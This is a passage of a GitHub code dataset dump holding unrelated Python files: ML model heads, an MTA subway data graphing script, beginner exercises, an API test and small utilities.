data_time.items():\n price_per_hour = COST[UID_CLASS[uid]]\n count_class[UID_CLASS[uid]] -= 1\n cost_done += sum([price_per_hour/60 * t for t in times])\n docs_done += len(times)\n avg_time_est = np.average(times[1:])\n cost_todo += price_per_hour/60*avg_time_est * (20-len(times))\n docs_todo += 20-len(times)\n print(f\"{uid:<10} | {len(times):<3} | {np.average(times):>3.0f}min | {np.average([price_per_hour/60 * t for t in times]):<3.0f} | {CLASS_NAME[UID_CLASS[uid]]}\")\n\nprint(f\"Currently paid {cost_done:.0f} CZK for {docs_done} docs\")\nprint(f\"Estimate {cost_todo:.0f} CZK for {docs_todo} docs (individual estimate)\")\ndocs_generic = 0\ncost_generic = 0\nfor class_k, count in count_class.items():\n docs_generic += count * 20\n cost_generic += count * 20 * COST[class_k] / 60 * np.average(data_time_class[class_k])\nprint(f\"Estimate {cost_generic:.0f} CZK for {docs_generic} unassigned docs\")\nprint(f\"Estimate {cost_done + cost_todo + cost_generic:.0f} CZK in total\")\n\nplt.figure(figsize=(6, 4))\nfor uid_i, (uid, times) in enumerate(data_time.items()):\n plt.plot(\n list(range(1, len(times) + 1)),\n times,\n alpha=0.6,\n label=uid,\n color=fig_utils.COLORS[uid_i // 2],\n linestyle=\":\" if uid_i % 2 == 0 else \"-\",\n )\n for doc_i, time_v in enumerate(times):\n data_time_avg[doc_i].append(time_v)\n\nXTICKS = list(range(1, len(data_time_avg.values()) + 1))\nplt.plot(\n XTICKS,\n [np.average(data_time_avg[x - 1]) for x in XTICKS],\n color=\"black\",\n label=\"Average*\",\n)\nplt.xticks(XTICKS, XTICKS)\n\n# add average labels\nfor x in XTICKS:\n plt.text(\n x,\n np.average(data_time_avg[x - 1])+5,\n f\"{np.average(data_time_avg[x-1]):.0f}\"\n )\nplt.hlines(\n np.average(data_time_all),\n XTICKS[0], XTICKS[-1],\n colors=\"black\",\n label=\"Average\",\n alpha=0.5,\n)\nplt.text(\n XTICKS[-1],\n np.average(data_time_all)+5,\n f\"{np.average(data_time_all):.0f}\",\n color=\"gray\",\n)\n\nplt.legend(ncol=2)\nplt.tight_layout()\nplt.show()\n","repo_name":"ufal/optimal-reference-translations","sub_path":"src/evaluation/time_spent.py","file_name":"time_spent.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"23356596611","text":"import requests\nimport pytest\n\nclass TestAPI:\n def test_search_qa(self):\n qa_response = requests.get('https://api.pfm.team/v9/search/global?page=0&inquiry=qa')\n assert qa_response.status_code == 200, \\\n \"Something wrong\"\n \n \n #print(qa_response.json())\n count_qa = 0\n for i in qa_response.json()[\"data\"][\"documents\"]:\n if \"qa\" in i[\"user\"][\"login\"]:\n count_qa += 1\n print(\"Количество результатов где есть 'qa': \", count_qa)\n assert count_qa > 0, \\\n \"Not Found\"\n\n\nif '__name__'=='__main__':\n pytest.main()\n","repo_name":"AndrewGluss/PythonAPI","sub_path":"test_search_qa.py","file_name":"test_search_qa.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"12893588833","text":"#5.Altere o programa anterior permitindo ao usuário informar as populações e as taxas de crescimento iniciais. Valide a entrada e permita repetir a operação.\n\npopulacaoA = int(input(\"Informe o tamanho da população A: \"))\nwhile(populacaoA <= 0):\n print(\"O tamanho da população A deve ser maior que zero, tente novamente.\")\n populacaoA = int(input(\"Informe o tamanho da população A: \"))\n\ntaxaCrescimentoA = float(input(\"Informe a taxa de crescimento da população A a partir de um número entre 0 e 1: \"))\nwhile(taxaCrescimentoA <= 0 or taxaCrescimentoA > 1):\n print(\"A taxa deve estar entre 0 e 1. Se necessário divida sua porcentagem por 100 e tente novamente.\")\n taxaCrescimentoA = float(input(\"Informe a taxa de crescimento da população A a partir de um número entre 0 e 1: \"))\n\npopulacaoB = int(input(\"Informe o tamanho da população B: \"))\nwhile(populacaoB <= 0):\n print(\"O tamanho da população A deve ser maior que zero, tente novamente.\")\n populacaoB = int(input(\"Informe o tamanho da população B: \"))\n\ntaxaCrescimentoB = float(input(\"Informe a taxa de crescimento da população B a partir de um número entre 0 e 1: \"))\nwhile(taxaCrescimentoB <= 0 or taxaCrescimentoB > 1):\n print(\"A taxa deve estar entre 0 e 1. Se necessário divida sua porcentagem por 100 e tente novamente.\")\n taxaCrescimentoB = float(input(\"Informe a taxa de crescimento da população B a partir de um número entre 0 e 1: \"))\n\nanos = 0\n\nwhile(populacaoA <= populacaoB):\n populacaoA *= (taxaCrescimentoA+1)\n populacaoB *= (taxaCrescimentoB+1)\n anos += 1\n print(f\"Ano {anos}:\\nPopulação A = {populacaoA}\\nPopulação B = {populacaoB}\\n\")\n\nprint(f\"Total de anos para a população A se igualar ou superar a população B = {anos}\")","repo_name":"Louissilver/exercicios_python","sub_path":"EstruturaDeRepeticao/exerc5.py","file_name":"exerc5.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"71921600867","text":"import copy\nimport inspect\nimport logging\n\nimport numpy as np\nfrom typing import Dict, List, Optional, Tuple, Union\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nfrom detectron2.config import configurable\nfrom detectron2.layers import ShapeSpec, nonzero_tuple, batched_nms, cat\nfrom detectron2.structures import Boxes, ImageList, Instances, pairwise_iou, pairwise_ioa\nfrom detectron2.utils.events import get_event_storage\nfrom detectron2.utils.registry import Registry\n\nfrom detectron2.modeling.backbone.resnet import BottleneckBlock, ResNet\nfrom detectron2.modeling.matcher import Matcher\nfrom detectron2.modeling.poolers import ROIPooler\nfrom detectron2.modeling.sampling import subsample_labels\n\nfrom detectron2.modeling.box_regression import Box2BoxTransform\nfrom detectron2.modeling.roi_heads.fast_rcnn import fast_rcnn_inference\nfrom detectron2.modeling.roi_heads.box_head import build_box_head\nfrom detectron2.modeling import ROI_HEADS_REGISTRY, StandardROIHeads\nfrom detectron2.modeling.roi_heads.roi_heads import Res5ROIHeads\nfrom detectron2.modeling.roi_heads.cascade_rcnn import CascadeROIHeads, _ScaleGradient\n\nfrom .vlpart_fast_rcnn import VLMFastRCNNOutputLayers\n\n\ndef build_vlpart_roi_heads(cfg, input_shape):\n return CascadeVLMROIHeads(cfg, input_shape)\n\n\nclass CascadeVLMROIHeads(CascadeROIHeads):\n\n @classmethod\n def _init_box_head(self, cfg, input_shape):\n # fmt: off\n in_features = cfg.MODEL.ROI_HEADS.IN_FEATURES\n pooler_resolution = cfg.MODEL.ROI_BOX_HEAD.POOLER_RESOLUTION\n pooler_scales = tuple(1.0 / input_shape[k].stride for k in in_features)\n sampling_ratio = cfg.MODEL.ROI_BOX_HEAD.POOLER_SAMPLING_RATIO\n pooler_type = cfg.MODEL.ROI_BOX_HEAD.POOLER_TYPE\n cascade_bbox_reg_weights = cfg.MODEL.ROI_BOX_CASCADE_HEAD.BBOX_REG_WEIGHTS\n cascade_ious = cfg.MODEL.ROI_BOX_CASCADE_HEAD.IOUS\n assert len(cascade_bbox_reg_weights) == len(cascade_ious)\n assert cfg.MODEL.ROI_BOX_HEAD.CLS_AGNOSTIC_BBOX_REG, \\\n \"CascadeROIHeads only support class-agnostic regression now!\"\n assert cascade_ious[0] == cfg.MODEL.ROI_HEADS.IOU_THRESHOLDS[0]\n # fmt: on\n\n # If StandardROIHeads is applied on multiple feature maps (as in FPN),\n # then we share the same predictors and therefore the channel counts must be the same\n in_channels = [input_shape[f].channels for f in in_features]\n # Check all channel counts are equal\n assert len(set(in_channels)) == 1, in_channels\n in_channels = in_channels[0]\n\n box_pooler = ROIPooler(\n output_size=pooler_resolution,\n scales=pooler_scales,\n sampling_ratio=sampling_ratio,\n pooler_type=pooler_type,\n )\n pooled_shape = ShapeSpec(\n channels=in_channels, height=pooler_resolution, width=pooler_resolution\n )\n\n box_heads, box_predictors, proposal_matchers = [], [], []\n for match_iou, bbox_reg_weights in zip(cascade_ious, cascade_bbox_reg_weights):\n box_head = build_box_head(cfg, pooled_shape)\n box_heads.append(box_head)\n box_predictors.append(\n VLMFastRCNNOutputLayers(\n box_head.output_shape,\n box2box_transform=Box2BoxTransform(weights=bbox_reg_weights),\n )\n )\n proposal_matchers.append(Matcher([match_iou], [0, 1], allow_low_quality_matches=False))\n return {\n \"box_in_features\": in_features,\n \"box_pooler\": box_pooler,\n \"box_heads\": box_heads,\n \"box_predictors\": box_predictors,\n \"proposal_matchers\": proposal_matchers,\n }\n\n def forward(self, images, features, proposals, text_embed):\n del images\n assert not self.training, 'only support inference now'\n pred_instances = self._forward_box(\n features, proposals, text_embed=text_embed)\n pred_instances = self.forward_with_given_boxes(features, pred_instances)\n return pred_instances, {}\n\n def _forward_box(self, features, proposals, text_embed):\n\n features = [features[f] for f in self.box_in_features]\n head_outputs = [] # (predictor, predictions, proposals)\n prev_pred_boxes = None\n image_sizes = [x.image_size for x in proposals]\n\n for k in range(self.num_cascade_stages):\n if k > 0:\n proposals = self._create_proposals_from_boxes(\n prev_pred_boxes, image_sizes)\n if self.training and ann_type in ['box', 'part']:\n proposals = self._match_and_label_boxes(\n proposals, k, targets)\n predictions = self._run_stage(features, proposals, k, text_embed)\n prev_pred_boxes = self.box_predictor[k].predict_boxes(\n (predictions[0], predictions[1]), proposals)\n head_outputs.append((self.box_predictor[k], predictions, proposals))\n\n assert not self.training, 'only support inference now'\n # Each is a list[Tensor] of length #image. Each tensor is Ri x (K+1)\n scores_per_stage = [h[0].predict_probs(h[1], h[2]) for h in head_outputs]\n scores = [\n sum(list(scores_per_image)) * (1.0 / self.num_cascade_stages)\n for scores_per_image in zip(*scores_per_stage)\n ]\n predictor, predictions, proposals = head_outputs[-1]\n boxes = predictor.predict_boxes((predictions[0], predictions[1]), proposals)\n pred_instances, _ = fast_rcnn_inference(\n boxes,\n scores,\n image_sizes,\n predictor.test_score_thresh,\n predictor.test_nms_thresh,\n predictor.test_topk_per_image,\n )\n return pred_instances\n\n def _create_proposals_from_boxes(self, boxes, image_sizes):\n boxes = [Boxes(b.detach()) for b in boxes]\n proposals = []\n for boxes_per_image, image_size in zip(boxes, image_sizes):\n boxes_per_image.clip(image_size)\n prop = Instances(image_size)\n prop.proposal_boxes = boxes_per_image\n proposals.append(prop)\n return proposals\n\n def _run_stage(self, features, proposals, stage, text_embed):\n pool_boxes = [x.proposal_boxes for x in proposals]\n box_features = self.box_pooler(features, pool_boxes)\n box_features = _ScaleGradient.apply(box_features, 1.0 / self.num_cascade_stages)\n box_features = self.box_head[stage](box_features)\n return self.box_predictor[stage](box_features, text_embed)\n","repo_name":"sail-sg/EditAnything","sub_path":"vlpart/vlpart_roi_heads.py","file_name":"vlpart_roi_heads.py","file_ext":"py","file_size_in_byte":6658,"program_lang":"python","lang":"en","doc_type":"code","stars":2810,"dataset":"github-code","pt":"70"} +{"seq_id":"235683613","text":"#Topic: Getting an input from the user. Mad Libs game.\n\n# You are the sun that shines brightly throughout my day.\n# You are the gravity that holds me down in every way.\n# You are the moon that shimmers throughout my night.\n# You are stars that glimmer oh so bright.\n\n# Source: https://www.familyfriendpoems.com/poem/forever-and-always-poem\n\naction_01 = input('Enter an action in third person: ')\nbody_part_01 = input('Enter a body part: ')\nnoun_01 = input('Enter a singular noun: ')\naction_02 = input('Enter another action in third person: ')\nnoun_02 = input('Enter an animal: ')\nbody_part_02 = input('Enter a body part: ')\ncelebrity = input('Enter a celebrity: ')\nadjective = input('Enter an adjective: ')\n\nprint('You are the sun that ' + action_01 + ' throughout my ' + body_part_01 + ',')\nprint('you are the ' + noun_01 + ' that ' + action_02 +' in every way,')\nprint('you are the ' + noun_02 + ' that shimmers throughout my ' + body_part_02 + ',')\nprint('You are ' + celebrity + ' that glimmer oh so ' + adjective+ '.')","repo_name":"AugustoDiaz-Dev/My-Python-Course-","sub_path":"Python-Course/python_b04_mad_libs_extended.py","file_name":"python_b04_mad_libs_extended.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"70"} +{"seq_id":"1325695670","text":"import torch\nimport torch.nn as nn\nfrom allennlp.modules import FeedForward\nfrom allennlp.modules.time_distributed import TimeDistributed\nfrom collections import OrderedDict\nfrom allennlp.nn import util\nimport torch.nn.functional as F\n\n\nimport logging\n\nfrom layers.activation import get_activation\nfrom layers.utils import get_loss, aggregate\n\n\nfrom layers.utils import PRF1, PRF1multi, perf_counts_multi\n\n\nclass SpanScorer(nn.Module):\n '''\n Span scorer\n\n\n Parameters\n ----------\n num_tags: label vocab size\n\n\n Returns\n -------\n arg_scores: tensor of scores (batch_size, trig_num, arg_num, num_tags)\n\n '''\n def __init__(self, input_dim, hidden_dim, num_tags, \\\n activation = 'relu',\n dropout = 0.0,\n loss_reduction = 'sum',\n name = None,\n class_weights = None):\n super(SpanScorer, self).__init__()\n\n\n self.input_dim = input_dim\n self.hidden_dim = hidden_dim\n self.num_tags = num_tags\n self.name = name\n\n\n self.activation = activation\n self.activation_fn = get_activation(activation)\n self.dropout = dropout\n self.loss_reduction = loss_reduction\n self.num_layers = 1\n\n '''\n Create classifier\n '''\n\n # Feedforward neural network for predicting span labels\n self.FF = FeedForward( \\\n input_dim = self.input_dim,\n num_layers = self.num_layers,\n hidden_dims = self.hidden_dim,\n activations = self.activation_fn,\n dropout = self.dropout)\n\n # Span classifier\n self.scorer = torch.nn.Sequential(\n TimeDistributed(self.FF),\n TimeDistributed(torch.nn.Linear(self.hidden_dim, self.num_tags)))\n\n if class_weights is None:\n self.class_weights = None\n else:\n self.class_weights = torch.tensor(class_weights, requires_grad=False)\n #self.register_buffer('class_weights', self.class_weights)\n\n\n\n def forward(self, embedding, verbose=False):\n\n '''\n Parameters\n ----------\n embed: (batch_size, num_spans, input_dim)\n mask: span mask (batch_size, num_spans)\n labels: true span labels (batch_size, num_spans)\n\n seq_feat: sequence-level features (batch_size, seq_feat_size)\n\n Returns\n -------\n '''\n\n\n # Compute label scores\n # (batch_size, num_spans, num_tags)\n scores = self.scorer(embedding)\n\n if verbose:\n logging.info(\"\")\n logging.info('SpanScorer')\n logging.info('\\tembedding: {}'.format(embedding.shape))\n logging.info('\\tscores: {}'.format(scores.shape))\n\n return scores\n\n def loss(self, labels, scores, mask):\n\n '''\n\n pred = scores.max(-1)[1]\n\n tag_num = scores.size(-1)\n scores_flat = scores.view(-1, tag_num)\n # (batch_size*trig_num*entity_num)\n labels_flat = labels.view(-1)\n # (batch_size*trig_num*entity_num)\n mask_flat = mask.view(-1).bool()\n\n scores_mask = scores_flat[mask_flat]\n labels_mask = labels_flat[mask_flat]\n\n\n if self.name == 'region':\n\n\n print('a', labels[0][24], scores[0][24], mask[0][24])\n print('b', labels[0][121], scores[0][121], mask[0][121])\n print('c', labels[1][9], scores[1][9], mask[1][9])\n\n\n for i, (s, l) in enumerate(zip(scores_mask, labels_mask)):\n #b_ = b_.tolist()\n #a_ = a_.tolist()\n\n if l:\n print('flat', i, l, s, F.cross_entropy(s.unsqueeze(0), l.unsqueeze(0), reduction='sum').tolist(), F.cross_entropy(s.unsqueeze(0), l.unsqueeze(0), reduction='sum', weight=self.class_weights).tolist())\n\n print('cross', F.cross_entropy(scores_mask, labels_mask, reduction='sum').tolist())\n print('cross', F.cross_entropy(scores_mask, labels_mask, reduction='sum', weight=self.class_weights).tolist())\n\n print('-'*10)\n print(self.name)\n assert (labels > 0).sum().tolist() == (labels*mask > 0).sum().tolist()\n print('mask pos', mask.sum().tolist())\n print('mask flat', mask_flat.shape)\n print('scores flat', scores_mask.shape)\n print('labels flat', labels_mask.shape)\n print('labels pos1', (labels > 0).sum().tolist())\n print('labels pos2', (labels_flat > 0).sum().tolist())\n print('scores pos ', (pred > 0).sum().tolist())\n #for s, l in zip(scores, labels):\n # print(l)\n # print(s)\n '''\n\n if (self.class_weights is not None) and (self.class_weights.get_device() != labels.get_device()):\n self.class_weights = self.class_weights.to(labels.get_device())\n\n loss = get_loss( \\\n labels = labels,\n scores = scores,\n mask = mask,\n reduction = self.loss_reduction,\n weight = self.class_weights)\n #if self.name == 'region':\n # print('loss', loss)\n return loss\n\nclass SpanScorerMulti(nn.Module):\n '''\n Span scorer\n\n\n Parameters\n ----------\n num_tags: label vocab size\n\n\n Returns\n -------\n arg_scores: tensor of scores (batch_size, trig_num, arg_num)\n\n '''\n def __init__(self, label_definition, input_dim, hidden_dim, \\\n activation = 'relu',\n dropout = 0.0,\n loss_reduction = 'sum',\n class_weights = None):\n super(SpanScorerMulti, self).__init__()\n\n self.loss_reduction = loss_reduction\n\n self.scorers = nn.ModuleDict(OrderedDict())\n\n for k, label_set in label_definition.items():\n\n if class_weights is None:\n cw = None\n else:\n cw = class_weights[k]\n\n self.scorers[k] = SpanScorer( \\\n input_dim = input_dim,\n hidden_dim = hidden_dim,\n num_tags = len(label_set),\n activation = activation,\n dropout = dropout,\n loss_reduction = loss_reduction,\n class_weights = cw,\n name = k)\n\n self.types = self.scorers.keys()\n\n def forward(self, embeddings, mask, verbose=False):\n\n scores = OrderedDict()\n for k, scorer in self.scorers.items():\n if verbose:\n logging.info(\"\")\n logging.info(\"SpanScorerMulti: {}\".format(k))\n\n # input is dict - get scorer hyphen specific embeddings\n if isinstance(embeddings, dict):\n embed = embeddings[k]\n\n # input is tensor - use same embeddings for all scorers\n else:\n embed = embeddings\n\n scores[k] = scorer( \\\n embedding = embed,\n verbose = verbose)\n\n\n return scores\n\n\n\n def loss(self, labels, scores, mask):\n\n loss = []\n for k, scorer in self.scorers.items():\n ls = scorer.loss(labels[k], scores[k], mask)\n loss.append(ls)\n\n\n _, pred = scores[k].max(-1)\n true = (labels[k] > 0).sum().tolist()\n pos = (pred > 0).sum().tolist()\n\n\n loss = aggregate(torch.stack(loss), self.loss_reduction)\n\n return loss\n\n def perf_counts(self, labels, scores, mask):\n return perf_counts_multi(labels, scores, mask)\n\n '''\n def prf(self, labels, scores, mask):\n\n # precision,recall,and f1 as tensor of size (3)\n prf = PRF1multi(labels, scores, mask)\n return prf\n '''\n","repo_name":"uw-bionlp/ards","sub_path":"src/modules/span_scorer.py","file_name":"span_scorer.py","file_ext":"py","file_size_in_byte":7755,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"4416282557","text":"from controllers.icontroller import IController\nfrom views.mainheader import MainHeader\nfrom views.loginusernview import UserNameLogIn\nfrom facade.usernamefacade import user_name_facade\n\n\nclass UserNameLogInController(IController):\n def _navigate(self, breadcrumbs, store, user_name):\n result = ''\n if user_name_facade.validate_username(user_name):\n # guarda el nombre del usuario\n store.add_item('user_name', user_name)\n result = 'controllers.loginpswcontroller'\n else:\n store.add_item('error', {\n 'titulo': 'Fallo en la validacion del usuario', 'mensaje': 'El usuario es obligatorio'})\n result = 'controllers.errorcontroller'\n\n breadcrumbs.stack_navigation(\n 'controllers.loginuserncontroller')\n return result\n\n def render(self, breadcrumbs, store):\n result = 'controllers.loginpswcontroller'\n\n header = MainHeader()\n body = UserNameLogIn(header.renderbody())\n\n print(body.renderbody()) # imprime el body y la cabecera\n # esta acción marca la navegación\n action = input(body.rendernavigation())\n\n # print(f'\\tAcción seleccionada: {action}')\n\n if action.upper() == 'B':\n result = breadcrumbs.unstack_navigation()\n elif action.upper() == 'S':\n result = None\n else:\n result = self._navigate(breadcrumbs, store, action)\n\n return result\n\n\ncontroller = UserNameLogInController()\n","repo_name":"sarnaizgarcia/mi_mitap","sub_path":"controllers/loginuserncontroller.py","file_name":"loginuserncontroller.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"13436554486","text":"# temporary wrapper allowing for N(None) to be None instead of zero\ndef N(number):\n if number is None:\n return None\n return float(number)\n\ndef polar_to_cartesian(theta,r,accurate=False):\n from sympy import sin, cos\n \"\"\"\n Converts polar coordinates to cartesian coordinates.\n\n INPUT:\n\n - ``theta`` -- Angle in radians\n\n - ``r`` -- Distance from origin\n\n OUTPUT:\n\n Cartesian coordinates (x,y) equivalent to the given polar coordinates\n \"\"\"\n if accurate:\n x = r*cos(theta)\n y = r*sin(theta)\n else:\n x = N(r*cos(theta))\n y = N(r*sin(theta))\n return x,y\n\ndef cartesian_to_polar(x,y, accurate=False):\n from sympy import atan2, pi, sqrt\n \"\"\"\n Converts cartesian coordinates to polar coordinates.\n\n INPUT:\n\n - ``x`` -- Distance from origin on horizontal axis\n\n - ``y`` -- Distance from origin on vertical axis\n\n OUTPUT:\n\n Polar coordinates (angle,distance) equivalent\n to the given cartesian coordinates.\n\n Angle will be in radians on the range [0, 2*pi[\n and radius will be non-negative.\n Furthermore the cartesian origin (0,0) will return (0,0)\n even though (angle,0) for any angle would be equivalent.\n \"\"\"\n # origin\n if x == 0 and y == 0:\n return 0,0\n r = sqrt(x**2 + y**2)\n theta = atan2(y,x)\n while theta < 0:\n theta += 2*pi\n return (theta, r) if accurate else (N(theta), N(r))\n\ndef minimum_isomorphic_partition(part):\n n = len(part)\n def complement(lis):\n return [n - i for i in lis]\n res = []\n to_check = [\n part * 2,\n complement(part) * 2,\n part[::-1] * 2,\n complement(part[::-1]) * 2\n ]\n for p in to_check:\n res.extend([p[i:i+n] for i in range(n)])\n return min(res)\n\ndef perm_to_partition(perm):\n from unicursalpolygon.models.cyclicpartition import CyclicPartition\n n = len(perm)\n return CyclicPartition([(perm[(i+1) % n]-perm[i]) % n for i in range(n)])\n\n\ndef get_csv_line(delim=','):\n return [int(i) for i in input().split(delim)]\n\ndef inverse_0(perm):\n tmp = [ (elem,i) for i,elem in enumerate(perm)]\n tmp.sort()\n return [b for a,b in tmp]\n\ndef schlafi_symbol(n,m):\n \"\"\"\n Given the schlafi symbol for regular polygon {n/m} returns the permutation representing that polygon.\n\n INPUT:\n\n - ``n`` -- length of resulting permutation\n - ``m`` -- \n\n OUTPUT:\n\n A list of length n where element i is i*m (mod n)\n \"\"\"\n assert(gcd(n,m) == 1 and 2*m < n)\n return [i*m % n for i in range(n)]\n\ndef permutation_to_standard_0(lis):\n tmp = [(val,i) for i,val in enumerate(lis)]\n tmp = [(b[1],i) for i,b in enumerate(sorted(tmp))]\n tmp.sort()\n res = [val for _,val in tmp]\n return res\n\ndef permutation_to_oneline(x):\n return [x[(x.index(i) + 1) % len(x)] for i in range(len(x))]\n","repo_name":"eidursveinn/unicursalPolygon","sub_path":"unicursalpolygon/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"25245772927","text":"#Escribir un programa que reciba una cadena de caracteres y devuelva un diccionario con cada palabra que contiene y la cantidad de veces que aparece (frecuencia).\n\ndef contar_palabras(text):\n \n text = text.split()\n palabras = {}\n for i in text:\n if i in palabras:\n palabras[i] += 1\n else:\n palabras[i] = 1\n return palabras\n\ndef mas_repetido(palabras):\n max_palabra = ''\n max_freq = 0\n for palabra, freq in palabras.items():\n if freq > max_freq:\n max_palabra = palabra\n max_freq = freq\n return max_palabra, max_freq\n\ntext = input(\"ingrese una cadena de caracteres: \")\n\nprint(f\" cadena de caracteres a diccionario con el numero de veces repetido: {contar_palabras(text)}\")\nprint(f\" palabra mas repetida: {mas_repetido(contar_palabras(text))}\")\n","repo_name":"linamendieta167/actividadpractica","sub_path":"3decadena_dicc.py","file_name":"3decadena_dicc.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"73348551587","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef get_color(station):\n '''A color dictionary that returns a chosen color \n corresponding to the station called station. \n '''\n\n color_scheme = {'23 ST': 'crimson',\n '14 ST': 'maroon',\n '14 ST-UNION SQ': 'plum',\n 'LEXINGTON AV/63': 'gold',\n '53 ST': 'orange',\n 'BEDFORD AV': 'silver',\n '7 AV': 'yellow',\n '57 ST': 'azure',\n 'GRD CNTRL-42 ST': 'black',\n '8 ST-NYU': 'red',\n 'W 4 ST-WASH SQ': 'navy',\n '51 ST': 'sienna',\n 'WALL ST': 'salmon',\n 'BROAD ST': 'aqua',\n 'CHAMBERS ST': 'blue',\n '18 ST': 'olive',\n 'HOUSTON ST': 'indigo',\n '28 ST': 'coral',\n 'FULTON ST': 'darkgreen',\n '34 ST-PENN STA': 'green',\n 'ASTOR PL': 'lightblue',\n '42 ST-BRYANT PK': 'lime',\n '9TH STREET': 'pink',\n '5 AVE': 'lightblue'}\n return color_scheme[station]\n\n\ndef pretty_station(station):\n '''A dictionary that returns the station name prettified \n for simplistic printing/labeling.\n '''\n station_titles = {'23 ST': '23rd Street',\n '14 ST': '14th Street',\n '14 ST-UNION SQ': '14th Street-Union Square',\n 'LEXINGTON AV/63': 'Lexington Ave/63rd Street',\n '53 ST': '53rd Street',\n 'BEDFORD AV': 'Bedford Ave',\n '7 AV': '7th Ave',\n '57 ST': '57th Street',\n 'GRD CNTRL-42 ST': 'Grand Central Station',\n '8 ST-NYU': '8th Street-NYU',\n 'W 4 ST-WASH SQ': 'West 4th Street-Washington Square',\n '51 ST': '51st Street',\n 'WALL ST': 'Wall Street',\n 'BROAD ST': 'Broad Street',\n 'CHAMBERS ST': 'Chambers Street',\n '18 ST': '18th Street',\n 'HOUSTON ST': 'Houston Street',\n '28 ST': '28th Street',\n 'FULTON ST': 'Fulton Street',\n '34 ST-PENN STA': '34th Street-Penn Station',\n 'ASTOR PL': 'Astor Place',\n '42 ST-BRYANT PK': '42nd Street-Bryant Park',\n '9TH STREET': '9th Street',\n '5 AVE': '5th Ave'}\n return station_titles[station]\n\n\ndef graph_entries(df):\n '''Graph all the target stations on total entries for each day.'''\n \n target_stations = pd.read_csv(\"station_targets.csv\")\n target_stations = target_stations.Station.str.upper()\n\n plt.figure(figsize=(18,10))\n\n for station in target_stations:\n station_agg = df[(df['Station'] == station)][['date_time','entry_delta']].set_index('date_time')\n station_resample = station_agg.resample('D').sum() \n plt.plot(station_resample, c = get_color(station), label = station);\n\n plt.title('Entries Per Day by Stations', size=25)\n plt.xlabel('Days', size=15)\n plt.ylabel('Entries', size=15)\n plt.legend(loc='right');\n\n\ndef heatmap_entries(df, station=None):\n '''Graph a heatmap of the day of week per week'''\n \n all_entries = df[['date_time','entry_delta']].set_index('date_time') \n daily_entries = all_entries.resample('D').sum()\n new_val1 = pd.DataFrame({'entry_delta': np.nan}, index=pd.to_datetime(['2018-06-22']))\n new_val2 = pd.DataFrame({'entry_delta': np.nan}, index=pd.to_datetime(['2018-06-23']))\n daily_entries = daily_entries.append(new_val1)\n daily_entries = daily_entries.append(new_val2) \n\n data_by_week_dict = {}\n i = 0\n for k, j in enumerate(range(7, len(daily_entries)+7, 7)):\n data_by_week_dict[f'Week{k+1}'] = list(daily_entries[i:j]['entry_delta'])\n i = j\n\n days = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']\n data_by_week = pd.DataFrame(data_by_week_dict, index = days)\n \n fig, ax = plt.subplots(figsize=(15,4))\n sns.heatmap(data_by_week, ax=ax, cmap='Reds', linewidths=1, linecolor='ivory');\n \n \n if station:\n plt.title(pretty_station(station), size = 25)\n else:\n plt.title('Total Entries Per Day Each Week', size = 25)\n\n \n","repo_name":"maicat11/Project-1-NY-MTA-Data-Analysis","sub_path":"get_graphs.py","file_name":"get_graphs.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"7977237229","text":"# parse the _variables file and write the set of functions that will\n# define the indices\n#\n# ca_set_conserved_indices: the conserved state\n#\n# ca_set_primitive_indices: the primitive variable state\n#\n# ca_set_godunov_indices: the interface state\n#\n# ca_set_auxiliary_indices: the auxiliary state information\n\nimport re\n\n\nHEADER = \"\"\"\n! DO NOT EDIT!!!\n\n! This file is automatically created by set_variables.py. To update\n! or add variable indices, please edit _variables and then rerun the\n! script.\n\n\"\"\"\n\nCHECK_EQUAL = \"\"\"\nsubroutine check_equal(index1, index2)\n\n use bl_error_module\n\n implicit none\n\n integer, intent(in) :: index1, index2\n\n if (index1 /= index2) then\n call bl_error(\"ERROR: mismatch of indices\")\n endif\n\nend subroutine check_equal\n\n\n\"\"\"\n\n\nclass Index(object):\n \"\"\"an index that we want to set\"\"\"\n def __init__(self, name, f90_var, default_group=None, iset=None,\n also_adds_to=None, count=1, cxx_var=None, ifdef=None):\n self.name = name\n self.cxx_var = cxx_var\n self.f90_var = f90_var\n self.iset = iset\n self.default_group = default_group\n self.adds_to = also_adds_to\n\n # count may have different names in Fortran and C++\n if count.startswith(\"(\"):\n self.count, self.count_cxx = count.replace(\"(\", \"\").replace(\")\", \"\").split(\",\")\n else:\n self.count = count\n self.count_cxx = count\n\n self.ifdef = ifdef\n\n def __str__(self):\n return self.f90_var\n\n def get_set_string(self, set_default=None):\n sstr = \"\"\n if self.ifdef is not None:\n sstr += \"#ifdef {}\\n\".format(self.ifdef)\n\n if set_default is not None and self.count != \"1\":\n sstr += \" if ({} > 0) then\\n\".format(self.count)\n sstr += \" {} = {}\\n\".format(self.f90_var, self.default_group)\n sstr += \" {} = {} + {}\\n\".format(self.default_group, self.default_group, self.count)\n sstr += \" else\\n\"\n sstr += \" {} = {}\\n\".format(self.f90_var, set_default)\n sstr += \" endif\\n\"\n else:\n sstr += \" {} = {}\\n\".format(self.f90_var, self.default_group)\n sstr += \" {} = {} + {}\\n\".format(self.default_group, self.default_group, self.count)\n\n if 